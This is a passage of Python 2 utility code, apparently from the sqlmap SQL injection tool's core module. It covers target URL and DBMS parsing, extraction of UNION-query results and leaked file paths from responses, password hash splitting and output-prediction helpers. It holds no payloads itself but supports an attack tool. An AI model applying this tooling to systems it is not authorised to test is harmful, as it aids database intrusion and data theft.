if seed is not None:
_ = getCurrentThreadData().random
_.seed(seed)
randint = _.randint
else:
randint = random.randint
return int(randint(start, stop))
def randomInt(length=4, seed=None):
"""
Returns random integer value with provided number of digits
>>> random.seed(0)
>>> randomInt(6)
874254
"""
if seed is not None:
_ = getCurrentThreadData().random
_.seed(seed)
choice = _.choice
else:
choice = random.choice
return int("".join(choice(string.digits if _ != 0 else string.digits.replace('0', '')) for _ in xrange(0, length)))
def randomStr(length=4, lowercase=False, alphabet=None, seed=None):
"""
Returns random string value with provided number of characters
>>> random.seed(0)
>>> randomStr(6)
'RNvnAv'
"""
if seed is not None:
_ = getCurrentThreadData().random
_.seed(seed)
choice = _.choice
else:
choice = random.choice
if alphabet:
retVal = "".join(choice(alphabet) for _ in xrange(0, length))
elif lowercase:
retVal = "".join(choice(string.ascii_lowercase) for _ in xrange(0, length))
else:
retVal = "".join(choice(string.ascii_letters) for _ in xrange(0, length))
return retVal
def sanitizeStr(value):
"""
Sanitizes string value in respect to newline and line-feed characters
>>> sanitizeStr('foo\\n\\rbar')
u'foo bar'
"""
return getUnicode(value).replace("\n", " ").replace("\r", "")
def getHeader(headers, key):
retVal = None
for _ in (headers or {}):
if _.upper() == key.upper():
retVal = headers[_]
break
return retVal
def checkFile(filename, raiseOnError=True):
"""
Checks for file existence and readability
"""
valid = True
try:
if filename is None or not os.path.isfile(filename):
valid = False
except UnicodeError:
valid = False
if valid:
try:
with open(filename, "rb"):
pass
except:
valid = False
if not valid and raiseOnError:
raise SqlmapSystemException("unable to read file '%s'" % filename)
return valid
def banner():
"""
This function prints sqlmap banner with its version
"""
if not any(_ in sys.argv for _ in ("--version", "--api")):
_ = BANNER
if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
_ = re.sub("\033.+?m", "", _)
elif IS_WIN:
coloramainit()
dataToStdout(_, forceOutput=True)
def parsePasswordHash(password):
"""
In case of Microsoft SQL Server password hash value is expanded to its components
"""
blank = " " * 8
if not password or password == " ":
password = NULL
if Backend.isDbms(DBMS.MSSQL) and password != NULL and isHexEncodedString(password):
hexPassword = password
password = "%s\n" % hexPassword
password += "%sheader: %s\n" % (blank, hexPassword[:6])
password += "%ssalt: %s\n" % (blank, hexPassword[6:14])
password += "%smixedcase: %s\n" % (blank, hexPassword[14:54])
if not Backend.isVersionWithin(("2005", "2008")):
password += "%suppercase: %s" % (blank, hexPassword[54:])
return password
def cleanQuery(query):
"""
Switch all SQL statement (alike) keywords to upper case
"""
retVal = query
for sqlStatements in SQL_STATEMENTS.values():
for sqlStatement in sqlStatements:
sqlStatementEsc = sqlStatement.replace("(", "\\(")
queryMatch = re.search("(%s)" % sqlStatementEsc, query, re.I)
if queryMatch and "sys_exec" not in query:
retVal = retVal.replace(queryMatch.group(1), sqlStatement.upper())
return retVal
def setPaths(rootPath):
"""
Sets absolute paths for project directories and files
"""
paths.SQLMAP_ROOT_PATH = rootPath
# sqlmap paths
paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "procs")
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "shell")
paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf")
paths.SQLMAP_TXT_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "txt")
paths.SQLMAP_UDF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "udf")
paths.SQLMAP_XML_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "xml")
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
_ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
paths.SQLMAP_HOME_PATH = _
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
# sqlmap files
paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst")
paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst")
paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst")
paths.GITHUB_HISTORY = os.path.join(_, "github.hst")
paths.CHECKSUM_MD5 = os.path.join(paths.SQLMAP_TXT_PATH, "checksum.md5")
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt")
paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt")
paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt")
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.zip")
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml")
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml")
paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml")
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
for path in paths.values():
if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")):
checkFile(path)
def weAreFrozen():
"""
Returns whether we are frozen via py2exe.
This will affect how we find out where we are located.
Reference: http://www.py2exe.org/index.cgi/WhereAmI
"""
return hasattr(sys, "frozen")
def parseTargetDirect():
"""
Parse target dbms and set some attributes into the configuration singleton.
"""
if not conf.direct:
return
details = None
remote = False
for dbms in SUPPORTED_DBMS:
details = re.search("^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I)
if details:
conf.dbms = details.group("dbms")
if details.group('credentials'):
conf.dbmsUser = details.group("user")
conf.dbmsPass = details.group("pass")
else:
if conf.dbmsCred:
conf.dbmsUser, conf.dbmsPass = conf.dbmsCred.split(':')
else:
conf.dbmsUser = unicode()
conf.dbmsPass = unicode()
if not conf.dbmsPass:
conf.dbmsPass = None
if details.group("remote"):
remote = True
conf.hostname = details.group("hostname").strip()
conf.port = int(details.group("port"))
else:
conf.hostname = "localhost"
conf.port = 0
conf.dbmsDb = details.group("db")
conf.parameters[None] = "direct connection"
break
if not details:
errMsg = "invalid target details, valid syntax is for instance "
errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' "
errMsg += "or 'access://DATABASE_FILEPATH'"
raise SqlmapSyntaxException(errMsg)
for dbmsName, data in DBMS_DICT.items():
if dbmsName == conf.dbms or conf.dbms.lower() in data[0]:
try:
if dbmsName in (DBMS.ACCESS, DBMS.SQLITE, DBMS.FIREBIRD):
if remote:
warnMsg = "direct connection over the network for "
warnMsg += "%s DBMS is not supported" % dbmsName
logger.warn(warnMsg)
conf.hostname = "localhost"
conf.port = 0
elif not remote:
errMsg = "missing remote connection details (e.g. "
errMsg += "'mysql://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME' "
errMsg += "or 'access://DATABASE_FILEPATH')"
raise SqlmapSyntaxException(errMsg)
if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
import _mssql
import pymssql
if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
errMsg = "'%s' third-party library must be " % data[1]
errMsg += "version >= 1.0.2 to work properly. "
errMsg += "Download from '%s'" % data[2]
raise SqlmapMissingDependence(errMsg)
elif dbmsName == DBMS.MYSQL:
import pymysql
elif dbmsName == DBMS.PGSQL:
import psycopg2
elif dbmsName == DBMS.ORACLE:
import cx_Oracle
elif dbmsName == DBMS.SQLITE:
import sqlite3
elif dbmsName == DBMS.ACCESS:
import pyodbc
elif dbmsName == DBMS.FIREBIRD:
import kinterbasdb
except ImportError:
if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__:
pass
else:
errMsg = "sqlmap requires '%s' third-party library " % data[1]
errMsg += "in order to directly connect to the DBMS "
errMsg += "'%s'. You can download it from '%s'" % (dbmsName, data[2])
errMsg += ". Alternative is to use a package 'python-sqlalchemy' "
errMsg += "with support for dialect '%s' installed" % data[3]
raise SqlmapMissingDependence(errMsg)
def parseTargetUrl():
"""
Parse target URL and set some attributes into the configuration singleton.
"""
if not conf.url:
return
originalUrl = conf.url
if re.search("\[.+\]", conf.url) and not socket.has_ipv6:
errMsg = "IPv6 addressing is not supported "
errMsg += "on this platform"
raise SqlmapGenericException(errMsg)
if not re.search("^http[s]*://", conf.url, re.I) and \
not re.search("^ws[s]*://", conf.url, re.I):
if ":443/" in conf.url:
conf.url = "https://" + conf.url
else:
conf.url = "http://" + conf.url
if CUSTOM_INJECTION_MARK_CHAR in conf.url:
conf.url = conf.url.replace('?', URI_QUESTION_MARKER)
try:
urlSplit = urlparse.urlsplit(conf.url)
except ValueError, ex:
errMsg = "invalid URL '%s' has been given ('%s'). " % (conf.url, getSafeExString(ex))
errMsg += "Please be sure that you don't have any leftover characters (e.g. '[' or ']') "
errMsg += "in the hostname part"
raise SqlmapGenericException(errMsg)
hostnamePort = urlSplit.netloc.split(":") if not re.search("\[.+\]", urlSplit.netloc) else filter(None, (re.search("\[.+\]", urlSplit.netloc).group(0), re.search("\](:(?P<port>\d+))?", urlSplit.netloc).group("port")))
conf.scheme = urlSplit.scheme.strip().lower() if not conf.forceSSL else "https"
conf.path = urlSplit.path.strip()
conf.hostname = hostnamePort[0].strip()
conf.ipv6 = conf.hostname != conf.hostname.strip("[]")
conf.hostname = conf.hostname.strip("[]").replace(CUSTOM_INJECTION_MARK_CHAR, "")
try:
_ = conf.hostname.encode("idna")
except LookupError:
_ = conf.hostname.encode(UNICODE_ENCODING)
except UnicodeError:
_ = None
if any((_ is None, re.search(r'\s', conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
errMsg = "invalid target URL ('%s')" % originalUrl
raise SqlmapSyntaxException(errMsg)
if len(hostnamePort) == 2:
try:
conf.port = int(hostnamePort[1])
except:
errMsg = "invalid target URL"
raise SqlmapSyntaxException(errMsg)
elif conf.scheme == "https":
conf.port = 443
else:
conf.port = 80
if conf.port < 0 or conf.port > 65535:
errMsg = "invalid target URL's port (%d)" % conf.port
raise SqlmapSyntaxException(errMsg)
conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')
if urlSplit.query:
if '=' not in urlSplit.query:
conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
else:
conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
debugMsg = "setting the HTTP Referer header to the target URL"
logger.debug(debugMsg)
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(CUSTOM_INJECTION_MARK_CHAR, "")))
if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5):
debugMsg = "setting the HTTP Host header to the target URL"
logger.debug(debugMsg)
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
conf.httpHeaders.append((HTTP_HEADER.HOST, getHostHeader(conf.url)))
if conf.url != originalUrl:
kb.originalUrls[conf.url] = originalUrl
def expandAsteriskForColumns(expression):
"""
If the user provided an asterisk rather than the column(s)
name, sqlmap will retrieve the columns itself and reprocess
the SQL query string (expression)
"""
asterisk = re.search("^SELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression, re.I)
if asterisk:
infoMsg = "you did not provide the fields in your query. "
infoMsg += "sqlmap will retrieve the column names itself"
logger.info(infoMsg)
_ = asterisk.group(2).replace("..", ".").replace(".dbo.", ".")
db, conf.tbl = _.split(".", 1) if '.' in _ else (None, _)
if db is None:
if expression != conf.query:
conf.db = db
else:
expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), "\g<1>%s.%s" % (conf.db, conf.tbl), expression)
else:
conf.db = db
conf.db = safeSQLIdentificatorNaming(conf.db)
conf.tbl = safeSQLIdentificatorNaming(conf.tbl, True)
columnsDict = conf.dbmsHandler.getColumns(onlyColNames=True)
if columnsDict and conf.db in columnsDict and conf.tbl in columnsDict[conf.db]:
columns = columnsDict[conf.db][conf.tbl].keys()
columns.sort()
columnsStr = ", ".join(column for column in columns)
expression = expression.replace("*", columnsStr, 1)
infoMsg = "the query with expanded column name(s) is: "
infoMsg += "%s" % expression
logger.info(infoMsg)
return expression
def getLimitRange(count, plusOne=False):
"""
Returns range of values used in limit/offset constructs
>>> [_ for _ in getLimitRange(10)]
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
"""
retVal = None
count = int(count)
limitStart, limitStop = 1, count
if kb.dumpTable:
if isinstance(conf.limitStop, int) and conf.limitStop > 0 and conf.limitStop < limitStop:
limitStop = conf.limitStop
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
limitStart = conf.limitStart
retVal = xrange(limitStart, limitStop + 1) if plusOne else xrange(limitStart - 1, limitStop)
return retVal
def parseUnionPage(page):
"""
Returns resulting items from UNION query inside provided page content
"""
if page is None:
return None
if re.search("(?si)\A%s.*%s\Z" % (kb.chars.start, kb.chars.stop), page):
if len(page) > LARGE_OUTPUT_THRESHOLD:
warnMsg = "large output detected. This might take a while"
logger.warn(warnMsg)
data = BigArray()
keys = set()
for match in re.finditer("%s(.*?)%s" % (kb.chars.start, kb.chars.stop), page, re.DOTALL | re.IGNORECASE):
entry = match.group(1)
if kb.chars.start in entry:
entry = entry.split(kb.chars.start)[-1]
if kb.unionDuplicates:
key = entry.lower()
if key not in keys:
keys.add(key)
else:
continue
entry = entry.split(kb.chars.delimiter)
if conf.hexConvert:
entry = applyFunctionRecursively(entry, decodeHexValue)
if kb.safeCharEncode:
entry = applyFunctionRecursively(entry, safecharencode)
data.append(entry[0] if len(entry) == 1 else entry)
else:
data = page
if len(data) == 1 and isinstance(data[0], basestring):
data = data[0]
return data
def parseFilePaths(page):
"""
Detects (possible) absolute system paths inside the provided page content
"""
if page:
for regex in FILE_PATH_REGEXES:
for match in re.finditer(regex, page):
absFilePath = match.group("result").strip()
page = page.replace(absFilePath, "")
if isWindowsDriveLetterPath(absFilePath):
absFilePath = posixToNtSlashes(absFilePath)
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)
def getLocalIP():
"""
Get local IP address (exposed to the remote/target)
"""
retVal = None
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((conf.hostname, conf.port))
retVal, _ = s.getsockname()
s.close()
except:
debugMsg = "there was an error in opening socket "
debugMsg += "connection toward '%s'" % conf.hostname
logger.debug(debugMsg)
return retVal
def getRemoteIP():
"""
Get remote/target IP address
"""
retVal = None
try:
retVal = socket.gethostbyname(conf.hostname)
except socket.gaierror:
errMsg = "address resolution problem "
errMsg += "occurred for hostname '%s'" % conf.hostname
singleTimeLogMessage(errMsg, logging.ERROR)
return retVal
def getFileType(filePath):
try:
_ = magic.from_file(filePath)
except:
return "unknown"
return "text" if "ASCII" in _ or "text" in _ else "binary"
def getCharset(charsetType=None):
"""
Returns list with integers representing characters of a given
charset type appropriate for inference techniques
>>> getCharset(CHARSET_TYPE.BINARY)
[0, 1, 47, 48, 49]
"""
asciiTbl = []
if charsetType is None:
asciiTbl.extend(xrange(0, 128))
# 0 or 1
elif charsetType == CHARSET_TYPE.BINARY:
asciiTbl.extend([0, 1])
asciiTbl.extend(xrange(47, 50))
# Digits
elif charsetType == CHARSET_TYPE.DIGITS:
asciiTbl.extend([0, 1])
asciiTbl.extend(xrange(47, 58))
# Hexadecimal
elif charsetType == CHARSET_TYPE.HEXADECIMAL:
asciiTbl.extend([0, 1])
asciiTbl.extend(xrange(47, 58))
asciiTbl.extend(xrange(64, 71))
asciiTbl.extend([87, 88]) # X
asciiTbl.extend(xrange(96, 103))
asciiTbl.extend([119, 120]) # x
# Characters
elif charsetType == CHARSET_TYPE.ALPHA:
asciiTbl.extend([0, 1])
asciiTbl.extend(xrange(64, 91))
asciiTbl.extend(xrange(96, 123))
# Characters and digits
elif charsetType == CHARSET_TYPE.ALPHANUM:
asciiTbl.extend([0, 1])
asciiTbl.extend(xrange(47, 58))
asciiTbl.extend(xrange(64, 91))
asciiTbl.extend(xrange(96, 123))
return asciiTbl
def directoryPath(filepath):
"""
Returns directory path for a given filepath
>>> directoryPath('/var/log/apache.log')
'/var/log'
"""
retVal = filepath
if filepath:
retVal = ntpath.dirname(filepath) if isWindowsDriveLetterPath(filepath) else posixpath.dirname(filepath)
return retVal
def normalizePath(filepath):
"""
Returns normalized string representation of a given filepath
>>> normalizePath('//var///log/apache.log')
'//var/log/apache.log'
"""
retVal = filepath
if retVal:
retVal = retVal.strip("\r\n")
retVal = ntpath.normpath(retVal) if isWindowsDriveLetterPath(retVal) else posixpath.normpath(retVal)
return retVal
def safeExpandUser(filepath):
"""
Patch for a Python Issue18171 (http://bugs.python.org/issue18171)
"""
retVal = filepath
try:
retVal = os.path.expanduser(filepath)
except UnicodeError:
_ = locale.getdefaultlocale()
encoding = _[1] if _ and len(_) > 1 else UNICODE_ENCODING
retVal = getUnicode(os.path.expanduser(filepath.encode(encoding)), encoding=encoding)
return retVal
def safeStringFormat(format_, params):
"""
Avoids problems with inappropriate string format strings
>>> safeStringFormat('SELECT foo FROM %s LIMIT %d', ('bar', '1'))
u'SELECT foo FROM bar LIMIT 1'
"""
if format_.count(PAYLOAD_DELIMITER) == 2:
_ = format_.split(PAYLOAD_DELIMITER)
_[1] = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", _[1])
retVal = PAYLOAD_DELIMITER.join(_)
else:
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%d)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>", format_)
if isinstance(params, basestring):
retVal = retVal.replace("%s", params, 1)
elif not isListLike(params):
retVal = retVal.replace("%s", str(params), 1)
else:
start, end = 0, len(retVal)
match = re.search(r"%s(.+)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER), retVal)
if match and PAYLOAD_DELIMITER not in match.group(1):
start, end = match.start(), match.end()
if retVal.count("%s", start, end) == len(params):
for param in params:
index = retVal.find("%s", start)
retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
else:
if any('%s' in _ for _ in conf.parameters.values()):
parts = format_.split(' ')
for i in xrange(len(parts)):
if PAYLOAD_DELIMITER in parts[i]:
parts[i] = parts[i].replace(PAYLOAD_DELIMITER, "")
parts[i] = "%s%s" % (parts[i], PAYLOAD_DELIMITER)
break
format_ = ' '.join(parts)
count = 0
while True:
match = re.search(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", retVal)
if match:
if count >= len(params):
warnMsg = "wrong number of parameters during string formatting. "
warnMsg += "Please report by e-mail content \"%r | %r | %r\" to 'dev@sqlmap.org'" % (format_, params, retVal)
raise SqlmapValueException(warnMsg)
else:
retVal = re.sub(r"(\A|[^A-Za-z0-9])(%s)([^A-Za-z0-9]|\Z)", r"\g<1>%s\g<3>" % params[count], retVal, 1)
count += 1
else:
break
return retVal
def getFilteredPageContent(page, onlyText=True, split=" "):
"""
Returns filtered page content without script, style and/or comments
or all HTML tags
>>> getFilteredPageContent(u'<html><title>foobar</title><body>test</body></html>')
u'foobar test'
"""
retVal = page
# only if the page's charset has been successfully identified
if isinstance(page, unicode):
retVal = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page)
while retVal.find(2 * split) != -1:
retVal = retVal.replace(2 * split, split)
retVal = htmlunescape(retVal.strip().strip(split))
return retVal
def getPageWordSet(page):
"""
Returns word set used in page content
>>> sorted(getPageWordSet(u'<html><title>foobar</title><body>test</body></html>'))
[u'foobar', u'test']
"""
retVal = set()
# only if the page's charset has been successfully identified
if isinstance(page, unicode):
_ = getFilteredPageContent(page)
retVal = set(re.findall(r"\w+", _))
return retVal
def showStaticWords(firstPage, secondPage):
"""
Prints words appearing in two different response pages
"""
infoMsg = "finding static words in longest matching part of dynamic page content"
logger.info(infoMsg)
firstPage = getFilteredPageContent(firstPage)
secondPage = getFilteredPageContent(secondPage)
infoMsg = "static words: "
if firstPage and secondPage:
match = SequenceMatcher(None, firstPage, secondPage).find_longest_match(0, len(firstPage), 0, len(secondPage))
commonText = firstPage[match[0]:match[0] + match[2]]
commonWords = getPageWordSet(commonText)
else:
commonWords = None
if commonWords:
commonWords = list(commonWords)
commonWords.sort(lambda a, b: cmp(a.lower(), b.lower()))
for word in commonWords:
if len(word) > 2:
infoMsg += "'%s', " % word
infoMsg = infoMsg.rstrip(", ")
else:
infoMsg += "None"
logger.info(infoMsg)
def isWindowsDriveLetterPath(filepath):
"""
Returns True if given filepath starts with a Windows drive letter
>>> isWindowsDriveLetterPath('C:\\boot.ini')
True
>>> isWindowsDriveLetterPath('/var/log/apache.log')
False
"""
return re.search("\A[\w]\:", filepath) is not None
def posixToNtSlashes(filepath):
"""
Replaces all occurances of Posix slashes (/) in provided
filepath with NT ones (\)
>>> posixToNtSlashes('C:/Windows')
'C:\\\\Windows'
"""
return filepath.replace('/', '\\') if filepath else filepath
def ntToPosixSlashes(filepath):
"""
Replaces all occurances of NT slashes (\) in provided
filepath with Posix ones (/)
>>> ntToPosixSlashes('C:\\Windows')
'C:/Windows'
"""
return filepath.replace('\\', '/') if filepath else filepath
def isHexEncodedString(subject):
"""
Checks if the provided string is hex encoded
>>> isHexEncodedString('DEADBEEF')
True
>>> isHexEncodedString('test')
False
"""
return re.match(r"\A[0-9a-fA-Fx]+\Z", subject) is not None
@cachedmethod
def getConsoleWidth(default=80):
"""
Returns console width
"""
width = None
if os.getenv("COLUMNS", "").isdigit():
width = int(os.getenv("COLUMNS"))
else:
try:
try:
FNULL = open(os.devnull, 'w')
except IOError:
FNULL = None
process = subprocess.Popen("stty size", shell=True, stdout=subprocess.PIPE, stderr=FNULL or subprocess.PIPE)
stdout, _ = process.communicate()
items = stdout.split()
if len(items) == 2 and items[1].isdigit():
width = int(items[1])
except (OSError, MemoryError):
pass
if width is None:
try:
import curses
stdscr = curses.initscr()
_, width = stdscr.getmaxyx()
curses.endwin()
except:
pass
return width or default
def clearConsoleLine(forceOutput=False):
"""
Clears current console line
"""
if getattr(LOGGER_HANDLER, "is_tty", False):
dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput)
kb.prependFlag = False
kb.stickyLevel = None
def parseXmlFile(xmlFile, handler):
"""
Parses XML file by a given handler
"""
try:
with contextlib.closing(StringIO(readCachedFileContent(xmlFile))) as stream:
parse(stream, handler)
except (SAXParseException, UnicodeError), ex:
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
def getSQLSnippet(dbms, sfile, **variables):
"""
Returns content of SQL snippet located inside 'procs/' directory
"""
if sfile.endswith('.sql') and os.path.exists(sfile):
filename = sfile
elif not sfile.endswith('.sql') and os.path.exists("%s.sql" % sfile):
filename = "%s.sql" % sfile
else:
filename = os.path.join(paths.SQLMAP_PROCS_PATH, DBMS_DIRECTORY_DICT[dbms], sfile if sfile.endswith('.sql') else "%s.sql" % sfile)
checkFile(filename)
retVal = readCachedFileContent(filename)
retVal = re.sub(r"#.+", "", retVal)
retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n")
for _ in variables.keys():
retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)
for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I):
retVal = retVal.replace(_, randomStr())
for _ in re.findall(r"%RANDINT\d+%", retVal, re.I):
retVal = retVal.replace(_, randomInt())
variables = re.findall(r"(?<!\bLIKE ')%(\w+)%", retVal, re.I)
if variables:
errMsg = "unresolved variable%s '%s' in SQL file '%s'" % ("s" if len(variables) > 1 else "", ", ".join(variables), sfile)
logger.error(errMsg)
msg = "do you want to provide the substitution values? [y/N] "
if readInput(msg, default='N', boolean=True):
for var in variables:
msg = "insert value for variable '%s': " % var
val = readInput(msg, default="")
retVal = retVal.replace(r"%%%s%%" % var, val)
return retVal
def readCachedFileContent(filename, mode='rb'):
"""
Cached reading of file content (avoiding multiple same file reading)
"""
if filename not in kb.cache.content:
with kb.locks.cache:
if filename not in kb.cache.content:
checkFile(filename)
try:
with openFile(filename, mode) as f:
kb.cache.content[filename] = f.read()
except (IOError, OSError, MemoryError), ex:
errMsg = "something went wrong while trying "
errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
return kb.cache.content[filename]
def readXmlFile(xmlFile):
"""
Reads XML file content and returns its DOM representation
"""
checkFile(xmlFile)
retVal = minidom.parse(xmlFile).documentElement
return retVal
def stdev(values):
"""
Computes standard deviation of a list of numbers.
Reference: http://www.goldb.org/corestats.html
>>> stdev([0.9, 0.9, 0.9, 1.0, 0.8, 0.9])
0.06324555320336757
"""
if not values or len(values) < 2:
return None
key = (values[0], values[-1], len(values))
if kb.get("cache") and key in kb.cache.stdev:
retVal = kb.cache.stdev[key]
else:
avg = average(values)
_ = reduce(lambda x, y: x + pow((y or 0) - avg, 2), values, 0.0)
retVal = sqrt(_ / (len(values) - 1))
if kb.get("cache"):
kb.cache.stdev[key] = retVal
return retVal
def average(values):
"""
Computes the arithmetic mean of a list of numbers.
>>> average([0.9, 0.9, 0.9, 1.0, 0.8, 0.9])
0.9
"""
return (sum(values) / len(values)) if values else None
def calculateDeltaSeconds(start):
"""
Returns elapsed time from start till now
"""
return time.time() - start
def initCommonOutputs():
"""
Initializes dictionary containing common output values used by "good samaritan" feature
"""
kb.commonOutputs = {}
key = None
with openFile(paths.COMMON_OUTPUTS, 'r') as f:
for line in f.readlines(): # xreadlines doesn't return unicode strings when codec.open() is used
if line.find('#') != -1:
line = line[:line.find('#')]
line = line.strip()
if len(line) > 1:
if line.startswith('[') and line.endswith(']'):
key = line[1:-1]
elif key:
if key not in kb.commonOutputs:
kb.commonOutputs[key] = set()
if line not in kb.commonOutputs[key]:
kb.commonOutputs[key].add(line)
def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False):
"""
Returns newline delimited items contained inside file
"""
retVal = list() if not unique else OrderedDict()
checkFile(filename)
try:
with openFile(filename, 'r', errors="ignore") if unicode_ else open(filename, 'r') as f:
for line in (f.readlines() if unicode_ else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used
if commentPrefix:
if line.find(commentPrefix) != -1:
line = line[:line.find(commentPrefix)]
line = line.strip()
if not unicode_:
try:
line = str.encode(line)
except UnicodeDecodeError:
continue
if line:
if lowercase:
line = line.lower()
if unique and line in retVal:
continue
if unique:
retVal[line] = True
else:
retVal.append(line)
except (IOError, OSError, MemoryError), ex:
errMsg = "something went wrong while trying "
errMsg += "to read the content of file '%s' ('%s')" % (filename, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
return retVal if not unique else retVal.keys()
def goGoodSamaritan(prevValue, originalCharset):
"""
Function for retrieving parameters needed for common prediction (good
samaritan) feature.
prevValue: retrieved query output so far (e.g. 'i').
Returns commonValue if there is a complete single match (in kb.partRun
of txt/common-outputs.txt under kb.partRun) regarding parameter
prevValue. If there is no single value match, but multiple, commonCharset is
returned containing more probable characters (retrieved from matched
values in txt/common-outputs.txt) together with the rest of charset as
otherCharset.
"""
if kb.commonOutputs is None:
initCommonOutputs()
predictionSet = set()
commonValue = None
commonPattern = None
countCommonValue = 0
# If the header (e.g. Databases) we are looking for has common
# outputs defined
if kb.partRun in kb.commonOutputs:
commonPartOutputs = kb.commonOutputs[kb.partRun]
commonPattern = commonFinderOnly(prevValue, commonPartOutputs)
# If the longest common prefix is the same as previous value then
# do not consider it
if commonPattern and commonPattern == prevValue:
commonPattern = None
# For each common output
for item in commonPartOutputs:
# Check if the common output (item) starts with prevValue
# where prevValue is the enumerated character(s) so far
